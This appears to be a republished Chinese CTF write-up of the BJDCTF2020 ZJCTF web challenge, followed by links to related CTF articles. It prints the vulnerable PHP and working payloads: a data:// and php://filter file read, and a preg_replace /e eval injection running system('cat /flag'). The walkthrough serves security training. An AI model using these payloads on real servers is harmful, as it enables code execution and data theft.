[BJDCTF2020]ZJCTF,不过如此 1

2024-05-12 02:04

本文主要是介绍[BJDCTF2020]ZJCTF,不过如此 1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

涉及:php的伪协议、preg_replace函数的漏洞和正则表达式的运用。

解题步骤

<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file);  //next.php}
else{highlight_file(__FILE__);
}
?>
  1. 看到file_get_contents,直接用date协议,错不了; 看到include 直接filter协议,错不了
    http://8774b3af-5438-42c6-94f2-cc07fd011005.node5.buuoj.cn:81?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php在这里插入图片描述

  2. 进行base64解码,得到

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei', # 这里的正则表达式 通过/去切分,/() 和 /ei e模式是把子项当成php代码去执行,也就是说把传来的${getFlag()}当成代码去执行,i是把字符串变成大小写'strtolower("\\1")', # strtolower函数是把字符串变成小写,其实也就是\1,# 就比如这个pyload:/next.php?\S*=${getflag()}&cmd=system('cat /flag'); 第一子项就是${getflag},因为$str的值就是getflag();然后调用getflag函数。# 之所以用\S* 而不是.*是因为php会将传入的非法的参数名转成下滑线。#反向引用:对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数$str);
}
foreach($_GET as $re => $str) { # foreach会把$_GET请求的键和值 拿出来 如lh=cmd 则lh是键 cmd是值echo complex($re, $str). "\n";
}
function getFlag(){@eval($_GET['cmd']); # 这里执行cmd的内容 即 system('cat /flag')
}  
  1. 构造pyload:
http://8774b3af-5438-42c6-94f2-cc07fd011005.node5.buuoj.cn:81/next.php?\S*=${getflag()}&cmd=system('cat /flag');

在这里插入图片描述

这篇关于[BJDCTF2020]ZJCTF,不过如此 1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/981294

相关文章

八大排序原来也不过如此

详解八大排序 前言1.插入排序1.1 直接插入排序1.2 希尔排序 2.选择排序2.1 选择排序2.2 堆排序 3. 交换排序3.1 冒泡排序3.2 快排3.2.1 hoare版本3.2.2 挖坑版本3.2.3 双指针版本3.2.4 快排优化3.3.5 快排时间复杂度和空间复杂度分析3.2.5 非递归实现快排 4. 归并排序4.1 递归实现4.2 非递归实现 5. 计数排序6. 总结

BUUCTF---web---[BJDCTF2020]ZJCTF,不过如此

1、点开连接,页面出现了提示 传入一个参数text,里面的内容要包括I have a dream。 构造:?/text=I have a dream。发现页面没有显示。这里推测可能得使用伪协议 在文件包含那一行,我们看到了next.php的提示,我们尝试读取文件 根据代码:我们构造payload /?text=data://text/plain,I have a dream&f

BUUCTF---misc---[BJDCTF2020]纳尼

1、下载附件是一个gif图片,但是图片打不开 2、用winhex分析,看到缺少了文件头 3、将文件头通过ASCII码方式粘贴后,保存,图片恢复了正常 4、是一张动图,一共四张,每张都有base64编码 5、用stegsolve分解图片 6、将得到的图片信息按照顺序拼接后进行base64解码,将得到的信息,用flag替换CTF进行提交 flag{{wang_bao_qi

【Html5】 Hbuilder工具+MUI框架,开发H5列表页面不过如此!

我们公司大佬写得技术文档,以后可能用的到这个技能,先转载过来以后好直接使用。 转载:https://blog.csdn.net/chendaike/article/details/95453068 侵删,谢谢! 需求分析 小编最近在做一个任务:要求实现一个在微信公众号里面的H5列表页面。拿到这个任务我们首先要进行需求分析,由于是在微信公众号也就是手机里面的H5列表,所以就不可能像PC

练习 19 Web [BJDCTF2020]Easy MD5

如果你是第一批做这个题的,这道题一点也不easy 打开在前端代码里面看到,输入框输入的内容实际是’password’ 随意输入内容,查看响应header中的内容有一句SQL代码,可知我们要让password在md5后返回值为true 然后尬住,开搜 MD5碰撞 总结ctf中 MD5 绕过的一些思路 ffifdyop——绕过中一个奇妙的字符串 BJDCTF2020 Easy MD5(详细

BJDCTF2020[encode]

题目:encode,地址:encode 查壳发现时upx壳,使用工具脱壳命令"upx -d ",如果遇到工具脱不了的壳就手动脱壳,手动脱壳请帅哥美女*们看这篇手动脱壳。使用ida打开,观察逻辑后重命名函数:逻辑为一个换表base64 + 异或 + RC4。其中RC4可以根据函数传入key,进而生成Box盒子来判断:知道逻辑后,先用RC4脚本解密,key=“Flag{This_a_Flag}”,密

[BJDCTF2020]----EzPHP

文章目录 pass-1pass-2pass-3pass-4pass-5pass-6pass-7 查看题目,右键源代码,发现GFXEIM3YFZYGQ4A=,base64解码:1nD3x.php 访问1nD3x.php,代码审计,一步一步分析 <?phphighlight_file(__FILE__);error_reporting(0); $file = "1nD3

[BJDCTF2020]EzPHP1 --不会编程的崽

有一说一,这题还是有难度的 base32解码url编码绕过$_SERVER换行符绕过preg_match相同参数,post请求覆盖get请求,绕过$_REQUESTphp伪协议利用sha1数组绕过create_function代码注入 Level 1 右键源码里又发现,拿去base32解码即可      <?phphighlight_file(__FILE__);error_r

Twing模板注入 [BJDCTF2020]Cookie is so stable1

打开题目  我们先抓包分析一下 可以输入{{7*7}}处发包试一下 可以看到在cookie处存在ssti模板注入 输入{{7*‘7’}},返回49表示是 Twig 模块 输入{{7*‘7’}},返回7777777表示是 Jinja2 模块 在这里可以看出是Twing模块 我们直接用固定payload就可以得到flag 知识点: 1.

vim恢复.swp [BJDCTF2020]Cookie is so stable1

打开题目 扫描目录得到 关于 .swp 文件 .swp 文件一般是 vim 编辑器在编辑文件时产生的,当用 vim 编辑器编辑文件时就会产生,正常退出时 .swp 文件被删除,但是如果直接叉掉(非正常退出),那么 .swp 文件就会被保留 在命令行下使用以下命令,可以从指定的交换文件进行恢复: vim -r file.txt.swo 我们把文件拖去kali 用 命令 vi